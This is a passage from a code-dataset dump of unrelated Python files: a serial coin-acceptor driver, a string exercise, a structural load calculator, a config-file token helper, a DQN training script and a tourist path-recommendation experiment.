(r):\n #print(r[0])\n if (r[0] == 77): # Verificar la respuesta (4D = M, 45 = E, 49 = I) <----------\n \"\"\"\n ser.parity = change_parity(0x00, 0)\n ser.write(b'\\x00') # Devuelve ACK\n \"\"\"\n a = self.comunicacion.crearInstruccion(Comunicacion.PROCESO, Comunicacion.MDB_DATOS, [0, 0])\n self.ser.write(a);\n time.sleep(.01)\n\n #print (\"Se llego hasta aqui _ 01\")\n\n break\n\n #self.ser.flushInput()\n self.ser.limpiar()\n self.disable_coin()\n cont=0\n while(1):\n \"\"\"\n ser.parity = change_parity(0x0F, 1)\n ser.write(b'\\x0F')\n ser.parity = change_parity(0x05, 0)\n ser.write(b'\\x05')\n ser.parity = change_parity(0x14, 0)\n ser.write(b'\\x14')\n \"\"\"\n a = self.comunicacion.crearInstruccion(Comunicacion.PROCESO, Comunicacion.MDB_DATOS, [15, 1, 5, 0, 20, 0])\n self.ser.write(a);\n time.sleep(.01)\n\n\n #time.sleep(.02)\n r = self.ser.read(2)\n if(r):\n print(\"rrrrr__:\",r)\n if(cont==2):\n print(\"LISTO!---\")\n break\n else:\n cont=cont+1\n print(\"DESHINIBIENDO!---\",cont)\n self.enable_coin()\n time.sleep(2)\n\n\n def enable_coin(self):\n global mona,mond\n mona=60\n mond=60\n ba = [0x0C, mona, mond]\n ckInt = self.checkSum(ba)\n print(\"vals...>>>\",mona,mond,ckInt)\n #time.sleep(1)\n while (1):\n #print(\"asdddd\")\n \"\"\"\n ser.parity = change_parity(0x0C, 1)\n ser.write(b'\\x0C')\n ser.parity = change_parity(0x00, 0)\n ser.write(b'\\x00')\n ser.parity = change_parity(mona, 0)\n ser.write(bytes([int(mona)]))\n ser.parity = change_parity(0x00, 0)\n ser.write(b'\\x00')\n ser.parity = change_parity(mond, 0)\n ser.write(bytes([int(mond)]))\n ser.parity = change_parity(ckInt, 0)\n ser.write(bytes([int(ckInt)]))\n \"\"\"\n\n a = self.comunicacion.crearInstruccion(Comunicacion.PROCESO, Comunicacion.MDB_DATOS, [12, 1, 0, 0, mona, 0, 0, 0, mond, 0, ckInt, 0])\n self.ser.write(a);\n time.sleep(.01)\n\n\n\n #time.sleep(.05)\n r = self.ser.read(1)\n print(r)\n\n #print (\"Se llego hasta aqui _ 03\")\n if(r):\n if (r[0] == 0): # Verificar la respuesta <----------\n print(\"Habilitacion de Monedas Exitosa\")\n time.sleep(.005)\n return r\n break\n\n\n def disable_coin(self):\n\n while (1):\n #print(\"asdddd\")\n \"\"\"\n ser.parity = change_parity(0x0C, 1)\n ser.write(b'\\x0C')\n ser.parity = change_parity(0x00, 0)\n ser.write(b'\\x00')\n ser.parity = change_parity(0x00, 0)\n ser.write(b'\\x00')\n ser.parity = change_parity(0x00, 0)\n ser.write(b'\\x00')\n ser.parity = change_parity(0x00, 0)\n ser.write(b'\\x00')\n ser.parity = change_parity(0x0C, 0)\n ser.write(b'\\x0C')\n \"\"\"\n print(\"Deshabilitando Monedero...\")\n a = self.comunicacion.crearInstruccion(Comunicacion.PROCESO, Comunicacion.MDB_DATOS, [12, 1, 0, 0, 0, 0, 0, 0, 0, 0, 12, 0])\n #ser.close();\n #exit(0)\n self.ser.write(a);\n time.sleep(.01)\n r = self.ser.read(1)\n\n\n print(r)\n\n #print (\"Se llego hasta aqui _ 02\")\n if(r):\n if (r[0] == 0): # Verificar la respuesta <----------\n print(\"Deshabilitacion de Monedas Exitosa\")\n time.sleep(.005)\n break","sub_path":"cajero/Tests/Mei.py","file_name":"Mei.py","file_ext":"py","file_size_in_byte":18568,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"264668950","text":"l=0\nl2=1\nni=int(input())\nfor i in range(0,ni):\n n=[str(i) for i in input()]\n for i in range(len(n)):\n if l2 < len(n):\n if n[l] != n[l2]:\n l+=1\n l2+=1\n else:\n del(n[l2])\n l=0\n l2=1\n n = ''.join(n)\n print(n)\n","sub_path":"Roteiro 4 - Strings/[2] Chandu e letras consecutiva.py","file_name":"[2] Chandu e letras consecutiva.py","file_ext":"py","file_size_in_byte":246,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"205146290","text":"import matplotlib.pyplot as plt\nimport numpy as np\n\n\nclass Load:\n \"\"\" Loading on an element \"\"\"\n # Set the general permanent loading:\n perm_loads = {\n 'Decking': 0.10,\n 'Joists': 0.20,\n 'Ceiling': 0.20,\n 'Block': 1.50,\n 'Brick': 2.15,\n 'Plaster': 0.20,\n 'Tiles': 0.55,\n 'Rafters': 0.15,\n 'Felt': 0.05,\n 'Battens': 0.05,\n 'Nulok': 0.28\n }\n\n var_loads = {\n 'Floor': 1.50,\n 'Snow': 0.60,\n 'Roof': 0.60,\n 'Light Access': 0.25\n }\n\n @staticmethod\n def print_component_loads():\n \"\"\" Print out the component loads above as a bar chart \"\"\"\n perm_names = [*Load.perm_loads]\n var_names = [*Load.var_loads]\n perm_values = [*Load.perm_loads.values()]\n var_values = [*Load.var_loads.values()]\n plt.style.use('seaborn-white')\n fig, ax = plt.subplots()\n fig.set_size_inches(11,4)\n ax.bar(perm_names, perm_values, label='Permanent Unit Loads')\n ax.bar(var_names, var_values, label='Variable Unit Loads')\n ax.set_xlabel('Name of Component')\n ax.set_ylabel('Unit Load (kPa)')\n ax.set_title('Unit Loads Used')\n for i, v in enumerate(perm_values):\n plt.text(i - 0.25, v+0.05, str(v))\n for i, v in enumerate(var_values):\n plt.text(i + len(perm_values) - 0.25, v+0.05, str(v))\n plt.legend()\n plt.grid()\n plt.xticks(rotation=90)\n plt.show()\n\n\n\n @staticmethod\n def sum_components(data):\n \"\"\" Sum the loads from their keys for permanent loading \"\"\"\n load = []\n for name in data:\n load.append(Load.perm_loads[name])\n return sum(load)\n \n @staticmethod\n def plot_elements(data):\n \"\"\"Plot the element loading for the project\"\"\"\n y_value = []\n x_value = []\n for i, n in enumerate(data):\n y_value.append(data[i][0])\n x_value.append(data[i][1])\n fig, ax = plt.subplots()\n fig.set_size_inches(11, 4)\n ax.bar(x_value, y_value)\n ax.set_xlabel('Element')\n ax.set_ylabel('Area Load (kPa)')\n ax.set_title('Loads relating to elements')\n plt.grid()\n plt.show()\n \n\n \n def __init__(self, element, ref='Not Known'):\n \"\"\" Calculate the line loads for an element \"\"\"\n self.element = element\n self.ref = ref\n self.w_perm = []\n self.w_var = []\n for n in self.element:\n self.w_perm.append(n[0] * n[2])\n self.w_var.append(n[1] * n[2])\n \n self.perm_load = sum(self.w_perm)\n self.var_load = sum(self.w_var)\n self.sls_load = self.perm_load + self.var_load\n self.uls_load = 1.35 * self.perm_load + 1.5 * self.var_load\n self.gammaf = self.uls_load / self.sls_load\n \n\n def plot_load_components(self):\n \"\"\"Plot the components of a load on an element\"\"\"\n support = np.array([])\n perm = np.array([])\n perm_value =np.array([])\n var = np.array([])\n var_value = np.array([])\n names = []\n for n in range(len(self.element)):\n support = np.append(support, self.element[n][2])\n perm = np.append(perm, self.element[n][0])\n perm_value = np.append(perm_value, self.element[n][0] *\n self.element[n][2])\n var = np.append(var, self.element[n][1])\n var_value = np.append(var_value, self.element[n][1] * self.element[n][2])\n names.append(self.element[n][3])\n \n # Plot the loading data\n plt.style.use('seaborn-white')\n fig,(ax1, ax2) = plt.subplots(1,2)\n fig.suptitle(self.ref)\n fig.set_size_inches(11,4)\n ax1.scatter(support, perm, s=perm_value * 100, label='Permanent Loads',\n color='green', alpha=0.50)\n ax1.scatter(support, var, s=var_value * 100, label='Variable Loads',\n color='red', alpha = 0.50)\n for i, v in enumerate(names):\n ax1.text(support[i], perm[i], v)\n for i, v in enumerate(names):\n ax1.text(support[i], var[i], v)\n ax1.set_xlabel('Support Length (m)')\n ax1.set_ylabel('Load magnitude (kPa)')\n ax1.set_title('Bubble plot of loading on element (kN/m)')\n ax1.set_ylim([0,max(max(perm),max(var))+2])\n ax1.set_xlim([min(support)-1, max(support)+1])\n ax1.grid()\n ax1.legend()\n ax2.bar(names, perm)\n ax2.bar(names, var, bottom=perm)\n ax2.set_title('Unit Loads Used')\n ax2.set_xlabel('Element')\n ax2.set_ylabel('Unit Load (kPa)')\n ax2.grid()\n plt.show()\n \n # Plot the loading\n fig, (ax1, ax2, ax3) = plt.subplots(1,3)\n fig.suptitle(self.ref)\n fig.set_size_inches(11,4)\n ax1.bar(names, perm_value, color='green')\n ax1.grid()\n ax1.set_title('Permanent Loads')\n ax1.set_xlabel('Element')\n ax1.set_ylabel('Loading (kN/m)')\n ax2.bar(names, var_value, color='red')\n ax2.grid()\n ax2.set_title('Variable Loads')\n ax2.set_xlabel('Element')\n ax2.set_ylabel('Loading (kN/m)')\n loading = [self.sls_load, self.uls_load]\n ax3.bar(['SLS', 'ULS'], loading)\n for i, v in enumerate(loading):\n ax3.text(i, loading[i], f'{v:.2f}')\n ax3.grid()\n ax3.set_title('Total Loading')\n ax3.set_xlabel('Limit State Condition')\n ax3.set_ylabel('Load (kN/m)')\n plt.show()\n\n \n","sub_path":"loading.py","file_name":"loading.py","file_ext":"py","file_size_in_byte":5611,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"616294477","text":"import configparser\nimport os\n\nfrom model.Yaml import MyConfig\n\n\nclass ConfigParameter(object):\n def __init__(self, dirName='/BrowserToken.ini', encoding='utf-8'):\n \"\"\"初始化\"\"\"\n self.path = os.path.realpath(os.path.dirname(os.path.dirname(__file__))) + dirName\n self.encoding = encoding\n self.config = configparser.ConfigParser()\n self.keys = MyConfig('token_keys').config\n\n def write_ini(self, content, node='session'):\n \"\"\"将信息写入配置文件\"\"\"\n self.config.add_section(node)\n self.config.set(node, self.keys, content)\n with open(self.path, 'at', encoding=self.encoding) as f:\n self.config.write(f)\n\n def read_ini(self, node='session'):\n \"\"\"读取配置文件中的信息\"\"\"\n self.config.read(self.path)\n ini = self.config.get(node, self.keys)\n return {self.keys: ini}\n\n def remove_node(self, node='session'):\n \"\"\"删除不用的session\"\"\"\n self.config.remove_section(node)\n with open(self.path, 'wt', encoding=self.encoding) as f:\n self.config.write(f)\n\nif __name__ == '__main__':\n h = ConfigParameter()\n h.write_ini(content='eyJhbGciOiJSUzI1NiIsInR5cCI6Imp3dCJ9.eyJtZW1iZXJfa', node='st')\n h.write_ini(content='I1NiIsInR5cCI6Imp3dCJ9.eyJtZW1iZXJfa')\n\n","sub_path":"model/MyConfig.py","file_name":"MyConfig.py","file_ext":"py","file_size_in_byte":1323,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"248679511","text":"import torch\nimport random\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport torch.optim as optim\nfrom supplementary import DQNMemory\nfrom supplementary import DQN\n\n\nclass DQNAlgorithmTraining:\n\n def __init__(self, env, steps_per_episode=10000):\n # I put this really high because i had the problem, that it always 'forgot', what it learned in the beginning,\n # causing it to get a really bad performance after a peak 100 episodes (1 million timesteps earlier)\n self.capacity = 5000000 # capacity of memory\n self.batch_size = 500 # Size of samples for learning\n self.memory = DQNMemory(self.capacity) # Initialize Memory\n self.env = env # Environment\n self.epsilon = 0.9 # Start random factor\n self.gamma = 0.98 # Gamma for optimization\n self.episodes = 1000 # Episodes for learning\n self.steps_per_episode = steps_per_episode # Time each episode\n\n self.rwd_overall = 0\n self.rwd_episodes_len = 20\n self.rwd_episodes = np.zeros(self.rwd_episodes_len)\n self.rwd_episodes_array = np.empty(0)\n self.rwd_overall_array = np.empty(0)\n\n self.min_vol = max(env.action_space.low[0], -20) # Minimal voltage to apply\n self.max_vol = min(env.action_space.high[0], 20) # Maximal voltage to apply\n self.observation_space = env.observation_space.shape[0] # Number of observations per observation\n self.nn_outputs = 20 # Number of NeuralNetwork outputs, has to be > 1\n self.action_space = np.arange(\n self.min_vol, self.max_vol + 1,\n (self.max_vol - self.min_vol) / (self.nn_outputs - 1),\n dtype=float\n ) # Discrete ActionSpace\n\n self.policy_nn = DQN(self.observation_space, self.nn_outputs) # Initialise Policy_Network\n\n self.target_nn = DQN(self.observation_space, self.nn_outputs)\n\n self.target_nn.load_state_dict(self.policy_nn.state_dict()) # Target_Network = Policy_Network\n\n self.loss_fn = torch.nn.MSELoss(reduction='elementwise_mean') # Define Loss-Function\n self.learning_rate = 0.0001 # Set learning rate\n\n self.update_target = 200 # Update target_network after n iterations\n self.optimizer = optim.Adam(self.policy_nn.parameters(), lr=self.learning_rate) # Define optimizer\n\n def main(self):\n\n plt.ion()\n\n for episode in range(1, self.episodes):\n print('episode: ' + str(episode)) # Print Episode\n # for param in self.policy_nn.parameters():\n # print(param)\n self.obs = self.env.reset() # Reset environment\n rwd_sum = 0 # accumulated reward\n for t in range(self.steps_per_episode):\n act = self.get_action() # Select action by random or policy\n\n # Higher Randomness in early epochs, lower randomness, when nn is trained\n\n # Perform step on environment\n obs, rwd, done, _ = self.env.step(np.array([self.action_space[act]])) # perform action on environment\n\n self.memory.push(self.obs, act, rwd, obs, done) # Adds to memory\n self.obs = obs # new_obs = old_obs\n\n rwd_sum += rwd # Update accumulated reward\n\n self.optimize_model() # Perform optimization step\n\n if done: # If terminated\n print('Done')\n break # stop episode\n\n if t % self.update_target == 0:\n self.target_nn.load_state_dict(self.policy_nn.state_dict())\n\n if episode % 20 == 0:\n if t % 10 == 0:\n self.env.render()\n\n if self.epsilon >= 0.01:\n self.epsilon /= 1.01\n print(self.epsilon)\n self.rwd_overall += rwd_sum\n self.rwd_episodes[episode % self.rwd_episodes_len] = rwd_sum\n\n if episode % self.rwd_episodes_len + 1 == self.rwd_episodes_len:\n print('We are at step: ' + str(episode))\n self.plot(episode)\n\n self.optimize_model()\n\n print(episode)\n model_states = {\n 'episode': episode,\n 'model_state_dict': self.policy_nn.state_dict(),\n 'optimizer_state_dict': self.optimizer.state_dict()\n }\n torch.save(model_states,\n f\"supplementary/challenge2_training_results.pt\")\n print('Complete')\n self.env.render()\n self.env.close()\n\n return self.get_policy_action\n\n def get_action(self):\n if random.random() < self.epsilon:\n return random.randrange(0, self.nn_outputs) # Get random action\n else:\n _, pos = torch.max(self.policy_nn(torch.Tensor(self.obs)), 0) # Get action by policy\n return pos.item()\n\n def get_policy_action(self, obs):\n _, pos = torch.max(self.policy_nn(torch.Tensor(obs)), 0) # Get action by policy\n act = pos.item()\n return np.array([self.action_space[act]])\n\n def optimize_model(self):\n # sample:\n # [0] = observation\n # [1] = action\n # [2] = reward\n # [3] = new_observation\n # [4] = done\n\n samples = self.memory.sample(self.batch_size)\n tensor_samples = torch.stack(samples)\n\n obs = tensor_samples[:, 0:self.observation_space]\n act = tensor_samples[:, self.observation_space:self.observation_space + 1]\n rwd = tensor_samples[:, self.observation_space + 1: self.observation_space + 2]\n new_obs = tensor_samples[:, self.observation_space + 2: 2 * self.observation_space + 2]\n done = tensor_samples[:, 2 * self.observation_space + 2: 2 * self.observation_space + 3]\n\n act_q, pos_q = torch.max(self.target_nn(new_obs), 1)\n act_q = act_q.view(-1, 1)\n y_j = (rwd + self.gamma * act_q)\n # if done == True set y_j to rwd\n # looks so complicated cause of vector form\n y_j = y_j * (torch.ones(len(y_j)).reshape(-1, 1) - done) + rwd * done\n\n policy_action_value = self.policy_nn(obs)\n indexing = (act).int().numpy()\n # This gets the n. action for the each actionsspace depending on observation in our policy\n # we need arange so\n q_now = policy_action_value[np.arange(len(policy_action_value)).reshape(-1, 1), indexing]\n\n loss = self.loss_fn(q_now, y_j)\n\n self.optimizer.zero_grad() # set grad to zero\n\n loss.backward() # Perform backward loss\n\n self.optimizer.step() # Perform optimizer step\n\n def plot(self, episode):\n self.rwd_episodes_array = np.append(self.rwd_episodes_array, np.mean(self.rwd_episodes))\n self.rwd_overall_array = np.append(self.rwd_overall_array, self.rwd_overall / episode)\n print('Mean reward after ' + str(\n self.rwd_episodes.__len__()) + ' Episodes: ' +\n str(self.rwd_episodes_array[-1])\n )\n print('Reward overall: ' + str(self.rwd_overall_array[-1]))\n t = np.arange(0, len(self.rwd_episodes_array), 1)\n plt.clf()\n plt.xlabel('Episode')\n plt.ylabel('Reward')\n plt.plot(t * self.rwd_episodes_len + self.rwd_episodes_len, self.rwd_episodes_array, 'r--',\n label='Last 20 Episodes')\n plt.plot(t * self.rwd_episodes_len + self.rwd_episodes_len, self.rwd_overall_array, 'k', label='Overall')\n plt.legend()\n plt.show(block=False)\n plt.pause(0.01)\n plt.savefig(\n 'supplementary/challenge2_training_results.png')\n self.rwd_episodes = np.zeros(self.rwd_episodes_len)\n","sub_path":"challenge2_group4/dqn.py","file_name":"dqn.py","file_ext":"py","file_size_in_byte":7674,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"648422163","text":"import numpy as np\nfrom scipy.optimize import nnls\nfrom sklearn.decomposition import PCA\nimport matplotlib.pyplot as plt\nfrom clusteringLib import *\nfrom groupTourLib import *\nimport csv\nfrom joblib import Parallel, delayed\nimport sys\nimport random\n\nsourceCity='myRome'\ntargetCity='myPisa'\ncommonUsers=[]\nwith open('Dataset/Pisa+Rome.txt','r') as f:\n spamreader=csv.reader(f,delimiter=' ')\n for row in spamreader:\n commonUsers.append(row[0])\n\nwith open('Dataset/PisaPersonalPaths.txt','r') as f:\n spamreader=csv.reader(f,delimiter=' ')\n testPaths=[]\n for row in spamreader:\n myPath=[]\n for poi in row[:-1]:\n myPath.append(int(poi))\n testPaths.append(myPath)\n\ngraph={}\nusers={}\npois={}\nstayTime={}\nscoring='sum'\nB=420\n\nfor city in [sourceCity,targetCity]:\n graph[city] = readGraph(city)\n users[city] = readUsers(city)\n pois[city] = readPOIs(city,len(graph[city]))\n stayTime[city] = readStayTimes(city,len(graph[city]))\n\npopularityMatrix={}\nwith open('Dataset/'+targetCity+'/Popularity.txt','r') as f:\n spamreader=csv.reader(f,delimiter=' ')\n for row in spamreader:\n popularityMatrix[int(row[0])]=int(row[1])\n\nfor poiId in pois[targetCity]:\n if poiId not in popularityMatrix:\n popularityMatrix[poiId]=1\n\ndef pathSimilarity(sourcePath,targetPath,pois):\n similarity=0\n for targetPOI in targetPath:\n bestSim=-1\n for sourcePOI in sourcePath:\n # dist=np.linalg.norm(np.subtract(pois[targetCity][targetPOI],pois[sourceCity][sourcePOI]))\n # sim=1/(1+dist)\n sim=np.dot(pois[targetCity][targetPOI],pois[sourceCity][sourcePOI])\n if sim > bestSim:\n bestSim=sim\n similarity+=bestSim\n if len(targetPath)>2: \n return(similarity)\n # return(similarity/(len(targetPath)-2))\n else:\n return(1)\n\ndef pathDistance(path1,path2,pois):\n distance1=0\n for poiI in path1:\n bestDist=100000\n for poiJ in path2:\n dist=np.linalg.norm(np.subtract(pois[targetCity][poiI],pois[targetCity][poiJ]))\n if dist < bestDist:\n bestDist=dist\n distance1+=bestDist\n if len(path1)>2:\n distance1/=(len(path1)-2)\n else:\n distance1=0\n\n distance2=0\n for poiI in path2:\n bestDist=100000\n for poiJ in path1:\n dist=np.linalg.norm(np.subtract(pois[targetCity][poiI],pois[targetCity][poiJ]))\n if dist < bestDist:\n bestDist=dist\n distance2+=bestDist\n if len(path2)>2:\n distance2/=(len(path2)-2)\n else:\n distance2=0\n \n return(max(distance1,distance2))\n\ndef merge_and_count(a, b):\n assert a == sorted(a,reverse=True) and b == sorted(b,reverse=True)\n c = []\n count = 0\n i, j = 0, 0\n while i < len(a) and j < len(b):\n c.append(max(b[j], a[i]))\n if b[j] > a[i]:\n count += len(a) - i # number of elements remaining in `a`\n j+=1\n else:\n i+=1\n # now we reached the end of one the lists\n c += a[i:] + b[j:] # append the remainder of the list to C\n return count, c\n\ndef sort_and_count(L):\n if len(L) == 1: return 0, L\n n = len(L) // 2 \n a, b = L[:n], L[n:]\n ra, a = sort_and_count(a)\n rb, b = sort_and_count(b)\n r, L = merge_and_count(a, b)\n return ra+rb+r, L\n\ndef computeAUC(realVec, predictedVec, paths, pois):\n paths.sort(reverse=True,key=lambda p: pathProfit(p, [predictedVec], scoring, pois[targetCity]))\n ranking = [pathProfit(p, [realVec], scoring, pois[targetCity]) for p in paths]\n swaps = sort_and_count(ranking)[0]\n AUC = 1-swaps/(len(ranking)*(len(ranking)-1)/2)\n return AUC\n \ndef popular(s,t,popularityMatrix):\n userTestPath=bestRatioPlusPathTABLE(s,t, graph[targetCity],scoring,stayTime[targetCity],B,pois[targetCity],popularityMatrix)\n return(userTestPath)\n\ndef randomCluster(s,t,clusterPaths):\n ######## New vector = random centroid ########\n chosenOne=random.randint(1,len(clusterPaths))\n userTestPath=clusterPaths[chosenOne][1]\n testUsers=[users[targetCity][userId] for userId in clusterPaths[chosenOne][0]]\n userTestVec=np.mean(testUsers,axis=0)\n return((userTestPath,userTestVec))\n\ndef nearestCluster(s,t,userId,users,clusterPaths,pois,userTrainPath):\n ######## New vector = centroid of closest cluster ########\n bestSimil=0\n for clusterId in clusterPaths:\n targetPath=clusterPaths[clusterId][1]\n simil=pathSimilarity(userTrainPath,targetPath,pois)\n if simil>bestSimil:\n bestSimil=simil\n bestCluster=clusterId\n testUsers=[users[targetCity][userId] for userId in clusterPaths[bestCluster][0]]\n userTestVec=np.mean(testUsers,axis=0)\n userTestPath=clusterPaths[bestCluster][1]\n return((userTestPath,userTestVec))\n\ndef weightedCluster(s,t,userId,users,clusterPaths,pois,userTrainPath):\n ######## New vector = weighted average of centroids ########\n userTestVec=np.zeros(10)\n accSimil=0\n for clusterId in clusterPaths:\n clusterUsers=[users[targetCity][userId] for userId in clusterPaths[clusterId][0]]\n centroid=np.mean(clusterUsers,axis=0)\n targetPath=clusterPaths[clusterId][1]\n simil=pathSimilarity(userTrainPath,targetPath,pois)\n accSimil+=simil\n userTestVec=np.add(userTestVec,[x*simil for x in centroid])\n userTestVec=[x/accSimil for x in userTestVec]\n userTestPath=bestRatioPlusPath(s, t, [userTestVec],graph[targetCity],scoring,stayTime[targetCity],B,pois[targetCity])\n return((userTestPath,userTestVec))\n\ndef linearComb(s,t,userId,users,pois,userTrainVec,alpha):\n targetUsers=[users[targetCity][myId] for myId in users[targetCity] if myId not in commonUsers]\n targetMean=np.mean(targetUsers,axis=0)\n userTestVec=[alpha*x+(1-alpha)*y for (x,y) in zip(userTrainVec,targetMean)]\n userTestPath=bestRatioPlusPath(s, t, [userTestVec],graph[targetCity],scoring,stayTime[targetCity],B,pois[targetCity])\n return((userTestPath,userTestVec))\n\ndef itemCollaborative(s,t,userId,users,pois,userTrainVec,alpha):\n ######## ???????????????????? ########\n # realPreference=[]\n # for poiId in pois[targetCity]:\n # realPreference.append(np.dot(users[targetCity][userId],pois[targetCity][poiId]))\n # prefVal,prefBins=np.histogram(realPreference,bins=50)\n # prefVal=[x/sum(prefVal) for x in prefVal]\n # # plt.figure()\n # # plt.bar(prefBins[:-1],prefVal,align='edge',width=np.diff(prefBins),edgecolor='k')\n # # plt.title('User-POI preference distribution')\n \n # table={}\n # for poiI in pois[targetCity]:\n # table[poiI]=0\n # accSimil=0\n # for poiJ in pois[sourceCity]:\n # simil = np.dot(pois[targetCity][poiI],pois[sourceCity][poiJ])\n # score = np.dot(pois[sourceCity][poiJ],userTrainVec)\n # table[poiI]+=score*(100**(10*simil))\n # accSimil+=(100**(10*simil))\n # table[poiI]+=score*simil\n # accSimil+=simil\n # table[poiI]/=accSimil\n # prefVal,prefBins=np.histogram(list(table.values()),bins=50)\n # prefVal=[x/sum(prefVal) for x in prefVal]\n # plt.bar(prefBins[:-1],prefVal,align='edge',width=np.diff(prefBins),edgecolor='k')\n # plt.show()\n targetUsers=[users[targetCity][myId] for myId in users[targetCity] if myId not in commonUsers]\n targetMean=np.mean(targetUsers,axis=0)\n table={}\n for poiI in pois[targetCity]:\n table[poiI]=alpha*np.dot(pois[targetCity][poiI],userTrainVec)+(1-alpha)*np.dot(pois[targetCity][poiI],targetMean)\n AMatrix=[]\n bMatrix=[]\n for poiId in pois[targetCity]:\n AMatrix.append(pois[targetCity][poiId])\n bMatrix.append(table[poiId])\n\n AMatrix=np.array(AMatrix)\n AMatrix=np.matmul(AMatrix,np.transpose(AMatrix))\n bMatrix=np.array(bMatrix)\n multipliers=list(nnls(AMatrix,bMatrix)[0])\n # multipliers=list(np.linalg.lstsq(AMatrix,bMatrix,rcond=None)[0])\n userTestVec=np.sum([[x*multipliers[poiId-1] for x in pois[targetCity][poiId]] for poiId in pois[targetCity]],axis=0)\n userTestVec=[x/sum(multipliers) for x in userTestVec]\n userTestPath=bestRatioPlusPathTABLE(s,t, graph[targetCity],scoring,stayTime[targetCity],B,pois[targetCity],table)\n return((userTestPath,userTestVec))\n\ndef recomRep(rep,userId):\n\n userTrainVec=users[sourceCity][userId]\n userRealVec=users[targetCity][userId]\n with open('log.txt','a') as f:\n f.write(str(rep)+'\\n')\n \n # plt.figure()\n # legend=[]\n # reduced_data = pca.transform(list(pois[sourceCity].values()))\n # plt.scatter(reduced_data[:,0],reduced_data[:,1],s=10)\n # legend.append('Source POIs')\n # reduced_data = pca.transform(list(pois[targetCity].values()))\n # plt.scatter(reduced_data[:,0],reduced_data[:,1],s=10)\n # legend.append('Targets POIs')\n # reduced_data = pca.transform([userTrainVec])\n # plt.scatter(reduced_data[:,0],reduced_data[:,1],s=50,marker='o')\n # legend.append('Source User')\n # reduced_data = pca.transform([userRealVec])\n # plt.scatter(reduced_data[:,0],reduced_data[:,1],s=50,marker='o')\n # legend.append('Target User')\n\n while True:\n (s, t) = random.sample(list(pois[sourceCity].keys()), 2)\n if pathCost([s,t],stayTime[sourceCity],graph[sourceCity]) <= B:\n break\n \n userTrainPath=bestRatioPlusPath(s, t, [userTrainVec],graph[sourceCity],scoring,stayTime[sourceCity],B,pois[sourceCity])\n \n while True:\n (s, t) = random.sample(list(pois[targetCity].keys()), 2)\n if pathCost([s,t],stayTime[targetCity],graph[targetCity]) <= B:\n break\n\n # clusterPaths={}\n # with open('Dataset/'+targetCity[2:]+'Clusters'+'.txt','r') as f:\n # spamreader=csv.reader(f, delimiter=';')\n # myId=1\n # for row in spamreader:\n # clusterUsers=list(row[0].strip().split(' '))\n # testUsers=[users[targetCity][userId] for userId in clusterUsers if userId not in commonUsers]\n # clusterPath=bestRatioPlusPath(s, t, [np.mean(testUsers,axis=0)],graph[targetCity],scoring,stayTime[targetCity],B,pois[targetCity])\n # clusterPaths[myId]=(clusterUsers,clusterPath)\n # myId+=1\n\n\n # popularPath=popular(s,t,popularityMatrix)\n # popularProfit=pathProfit(popularPath, [userRealVec], scoring, pois[targetCity])\n \n # randPath,randVec=randomCluster(s,t,clusterPaths)\n # randProfit=pathProfit(randPath, [userRealVec], scoring, pois[targetCity])\n # reduced_data = pca.transform([randVec])\n # plt.scatter(reduced_data[:,0],reduced_data[:,1],s=50,marker='D')\n # legend.append('Random')\n\n # nearestPath,nearestVec=nearestCluster(s,t,userId,users,clusterPaths,pois,userTrainPath)\n # nearestProfit=pathProfit(nearestPath, [userRealVec], scoring, pois[targetCity])\n # reduced_data = pca.transform([nearestVec])\n # plt.scatter(reduced_data[:,0],reduced_data[:,1],s=50,marker='X')\n # legend.append('Nearest')\n\n # weightedPath,weightedVec=weightedCluster(s,t,userId,users,clusterPaths,pois,userTrainPath)\n # weightedProfit=pathProfit(weightedPath, [userRealVec], scoring, pois[targetCity])\n # reduced_data = pca.transform([weightedVec])\n # plt.scatter(reduced_data[:,0],reduced_data[:,1],s=50,marker='P')\n # legend.append('Weighted')\n\n # globalAveragePath,globalAverageVec=linearComb(s,t,userId,users,pois,userTrainVec,0)\n # globalAverageProfit=pathProfit(globalAveragePath,[userRealVec],scoring,pois[targetCity])\n \n collabList=[]\n for alpha in alphaList:\n collabPath,collabVec=linearComb(s,t,userId,users,pois,userTrainVec,alpha)\n collabProfit=pathProfit(collabPath,[userRealVec],scoring,pois[targetCity])\n collabList.append((collabProfit,collabPath,collabVec))\n\n # plt.legend(legend)\n # plt.show()\n\n userOptimalPath=bestRatioPlusPath(s, t, [userRealVec],graph[targetCity],scoring,stayTime[targetCity],B,pois[targetCity])\n userOptimalProfit=pathProfit(userOptimalPath, [userRealVec], scoring, pois[targetCity])\n\n\n if userOptimalProfit!=0:\n # popularScore=min(1,popularProfit/userOptimalProfit)\n # globalAverageScore=min(1,globalAverageProfit/userOptimalProfit)\n # randScore=min(1,randProfit/userOptimalProfit)\n # nearestScore=min(1,nearestProfit/userOptimalProfit)\n # weightedScore=min(1,weightedProfit/userOptimalProfit)\n collabScores=[min(1,profit/userOptimalProfit) for profit,_,_ in collabList]\n else:\n # popularScore,globalAverageScore,randScore,nearestScore,weightedScore=(0,0,0,0,0)\n collabScores=np.zeros(len(collabList))\n\n collabSetDist=[pathDistance(userOptimalPath,path,pois) for _,path,_ in collabList]\n # randSetDist=pathDistance(userOptimalPath,randPath,pois)\n # globalAverageSetDist=pathDistance(userOptimalPath,globalAveragePath,pois)\n # nearestSetDist=pathDistance(userOptimalPath,nearestPath,pois)\n # weightedSetDist=pathDistance(userOptimalPath,weightedPath,pois)\n \n collabVecDist=[np.linalg.norm(np.subtract(userRealVec,vec)) for _,_,vec in collabList]\n # randVecDist=np.linalg.norm(np.subtract(userRealVec,randVec))\n # globalAverageVecDist=np.linalg.norm(np.subtract(userRealVec,globalAverageVec))\n # nearestVecDist=np.linalg.norm(np.subtract(userRealVec,nearestVec))\n # weightedVecDist=np.linalg.norm(np.subtract(userRealVec,weightedVec))\n\n collabAUC = [computeAUC(userRealVec,vec,testPaths,pois) for _,_,vec in collabList] \n # randAUC=computeAUC(userRealVec,randVec,testPaths,pois)\n # globalAverageAUC=computeAUC(userRealVec,globalAverageVec,testPaths,pois)\n # nearestAUC=computeAUC(userRealVec,nearestVec,testPaths,pois)\n # 